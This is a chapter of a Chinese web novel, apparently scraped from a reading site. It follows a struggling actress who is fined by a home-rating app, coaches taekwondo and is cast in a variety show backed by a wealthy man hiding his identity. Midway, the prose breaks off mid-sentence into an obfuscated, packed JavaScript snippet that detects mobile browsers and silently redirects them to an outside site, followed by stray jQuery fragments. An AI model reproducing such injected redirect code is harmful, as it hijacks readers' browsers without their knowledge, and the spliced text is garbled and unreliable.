“因为……”严修远大脑宕机几秒，随即露出他的招牌微笑，“因为沈经理性格好，他像周公吐哺一样虚心听取任何能对公司发展好的言论，平时也鼓励我们从艺人的角度来进行人员推荐。”


    说到这里，严修远想到沈一书最近的遗憾就是没能把周皎皎签进来，便又顺手给自家公司打了个广，“我们公司的氛围特别好，也不会出现让艺人去陪酒的情况，更不会随随便便雪藏艺人，你有没有兴趣来签约啊？”


    周皎皎不答反问，“你是什么时候签约的呀？”


    严修远随口胡扯，“去年年初，签约快两年了。我也是签约过后，发现六喜待遇确实挺好，才会劝你的……”


    “可是你看，你签约了快两年，才在今年9月份第一次参演短剧《夫人她真的跑了》，甚至要我指导你演戏的学费，都是你自掏腰包付的。”


    “……”


    *


    晚上十点，周皎皎坐在床上，“好好生活”APP家居模块页面，【系统评分中……】几个字在床头灯幽暗的灯光下忽明忽闪。


    周皎皎双手合十，手指交叉，口中喃喃：千万别扣我的钱，千万别扣我的钱……


    当年被前公司雪藏都没有这么慌张过！


    【竟系统判定，宿主家居环境今日评分55分，将从宿主银行卡上扣费1000元。】


    果然不出所料，虽然周皎皎已经确保没有留下任何卫生死角、物品摆放整齐、甚至连垃圾桶里都是没有垃圾的。


    可这APP一定会想方设法找新的扣款理由的。


    来来来，让她看看为什么给了这么低的分数吧！


    【经系统检测，你已经连续一周没有给卧室窗台上的吊兰浇水，导致吊兰生命岌岌可危，扣20分；卧室衣柜门损坏一年未修，扣10分；客厅的一个孔灯坏了半年未修，扣10分；你的一双夏季凉顶部开胶、底部鞋跟断裂，可以确认无法维修却没有及时清理，扣5分。】


    “……”


    APP说的凉鞋她有印象，那是双白色带钻的高跟鞋，她大学毕业那年买的，穿的次数屈指可数，今年夏天有一天穿它去陪妈妈逛街，熟料才走了不到100米，鞋头就开了胶，再走几步路，鞋跟竟然也断了。


    后来她是坐在路牙石上等妈妈给她买拖鞋，然后又穿着妈妈临时买的拖鞋——粉色的鞋面上镶着一朵硕大的红色花朵，不顾路人诧异的眼神，陪妈妈在商场逛了一下午。


    就这样她还是没舍得扔掉这双坏了的凉鞋，总觉得修一修还能穿——虽然她也一直没来及去修。


    周皎皎发出一声不甘的叹息，窸窸窣窣从床上爬起来，打开鞋柜，把那双没舍得扔的凉鞋放进了垃圾桶里。


    又去厨房接了点水——给吊兰浇水。也不知道晚上浇水好不好，算了，先浇一点，明天天亮再浇一点好了。


    至于衣柜门和孔灯，只能等到明天白天再解决了。


    *


    重新回到床上，周皎皎翻来覆去睡不着。迷迷糊糊间，有好多张百元大钞一张张从她口袋里流出，排着队一个个跳进她的手机里，被“好好生活”APP吞掉了。


    她的血汗钱！


    周皎皎心在滴血，她愤怒地摇晃着手机，试图把钱从手机里晃出来，可手机却像貔貅一样只进不出，无论她怎么摇晃、以何种角度摇晃，手机都在源源不断吞着钱。


    急火攻心的周皎皎由于晃手机的动作幅度太大，手机一不留神脱手，发出哐当一声响，砸到了她的脚趾上。


    疼疼疼！


    周皎皎猛然一惊，倏而睁开双眼，原来是一场噩梦，手机还好好的在床头柜上。


    天已经亮了，今天原本是和师兄吴永约好去他跆拳道馆里兼职的日子，周皎皎先给他发了条消息说今天会晚到一点，然后打电话约人来家里修衣柜门和孔灯。


    “呦，高跟鞋终于舍得扔啦！”


    周敏早起做饭，在客厅的垃圾桶里看到了女儿那双已经坏得不成样子却一直没舍得扔掉的鞋。不由好笑，女儿自小就像小仓鼠一样喜欢收东西，小时候是坏了的玩具舍不得扔，后来是上学时的书本、笔记、穿旧的衣服等等等，都等到非扔不可的时候才会扔掉。她还以为要过个三五年，周皎皎才舍得扔掉这鞋呢。


    周皎皎迎上妈妈好笑的目光，强词夺理，“我是觉得这双鞋已经过时了，跟也太高了，以后应该不会再穿，索性扔了！”


    可周敏还是觉得怪怪的，她们母女俩一起生活，像电灯衣柜下水管这些东西坏了，一般都想不起来及时修理，拖个两三月也是有的，可这次还不到一个月，女儿就急急忙忙找人来修了，这和她平时拖拖拉拉的性感形成强烈的反差。


    更奇怪的是——她竟然大早上能想起来给窗台上的吊兰浇水！


    她们娘俩，都有点植物杀手的基因在身上的，以前她们还热衷养各种花花草草，后来发现基本都养不活便放弃了，只养成活率极高的吊兰。就她们家那吊兰，两人十天半个月能想起浇一次水就不错了，今天大清早的周皎皎竟然哼着歌去给它浇水？


    周敏敛眉沉思，事出反常必有妖，那么很有可能是——女儿恋爱了！


    那人是谁？人品怎么样？对皎皎好不好？


    强迫自己按捺住好奇心，周敏咧嘴笑了笑，女儿终究是大了。不过在女儿愿意同她谈论男朋友之前，她会装作完全不知道有这回事的——她会给女儿最大的尊重与自主权的。


    *


    周皎皎来到跆拳道馆，嫂嫂李娜正在前台极力向一个带着小女孩的年轻妈妈推销：“可以给小朋友报咱们馆里的季度卡，3个月一共60课时，可以每次两课时连上，一周来个一两次，既锻炼身体还能……”


    年轻的妈妈有些犹豫，“你们这有女教练吗？”


    “有的有的。”


    正好周皎皎走到跟前，李娜拉住她向那母女俩介绍，“这是咱们馆里的女教练，不过她目前是兼职，找她上课需要提前约。”


    周皎皎还没来及换衣服，此时她瘦削的身体裹在一件挺阔有型的灰色毛呢大衣里，给人一种疏离的破碎感。


    年轻妈妈面露狐疑：“她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463246|185229||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是教练？”


    周皎皎脱掉外套放在前台，低头朝小女孩笑了笑，“小朋友，阿姨来给你露两手。”


    话毕，她走到场馆内，前腿横踢高踢腿下劈以及后退横踢，所有动作行云流水般一气呵成，流畅且有力量。


    小女孩看呆了，拉着妈妈的衣袖，语气里满是渴望：“妈妈——我要学我要学！”


    年轻妈妈也张大了嘴巴，这一套动作真是太酷了，要是再年轻十来岁，她也要学！


    于是周皎皎顺利收到了她来馆里的第一个小学员，小女孩叫王玥，七岁，对她崇拜的不得了，看着她的眼睛里全是渴望的小星星，“老师，我什么时候能和你一样厉害呀！”


    周皎皎摸了摸小徒弟稚嫩的脸，“等你长到老师这么高的时候。”


    *


    “严总真是年轻有为啊！”


    “我是客服”综艺节目的总策划人陈磊端着酒杯同严修远碰了一下，“严总，您投资的眼光绝了，咱们这档综艺一定会爆的！”


    陈磊筹备这档综艺已经有一段时间了，可因为他入行时间短、没有人脉，且综艺不被看好，如果不是因为严修远给投了500万，他们这档综艺很有可能因为资金不足而流产。


    因此他对严修远是诚心诚意地感激，“严总，沈经理同我说过您的需求了，您来参加肯定是没问题的。另外您推荐的那名女演员，不用报名了，让她直接来签合同吧！”


    “这不好吧！”严修远说，“按照你们这边的流程来，她要是不合适的话你们该换人就换人。”


    “嗐，”陈磊一杯酒一饮而尽，掬了一把辛酸泪，“严总我和您说实话吧！业内都不看好我们这档综艺，邀请的演员都不愿意来，不如索性就直接用您举荐的那名艺人。”


    “她叫周皎皎，我要一书把她的资料发给你。”


    严修远现在是这档节目最大的资方爸爸，为了给他留下一个好印象，陈磊在拿到周皎皎资料的第一时间就安排工作人员给她打了个电话，通知她入选“我是客服”这档综艺。


    彼时周皎皎刚给王玥上完课，正准备收拾收拾东西回家，乍一接到工作人员的电话吓了一跳。


    沈一书之前确实和她提过这个综艺，可那时候他说的是他这边有一个内推名额，让她把报名资料给他。她还没把资料给出去呢，就通知她入选，要她这几天抽空去签合同？


    周皎皎打开手机，准备给沈一书打个电话问清楚。可就在准备按下通话键时，她又顿住了手，过往经验告诉她，沈一书这里问不出来什么的，他的回答无非就是：希望她签约、有人在背后帮她、严修远极力举荐。


    那也许严修远也了解一点情况？


    周皎皎拨通了严修远的电话，他那边像是在和人吃饭，背景有点嘈杂，能听到劝酒的声音。迷迷糊糊间，周皎皎隐约听到一声“严总”。


    严总？周皎皎楞了一下，正欲再听，那边的嘈杂声却渐渐消弭，应该是严修远走出了包厢。


    “皎皎，什么事？”


    “刚刚有人喊你——严总？”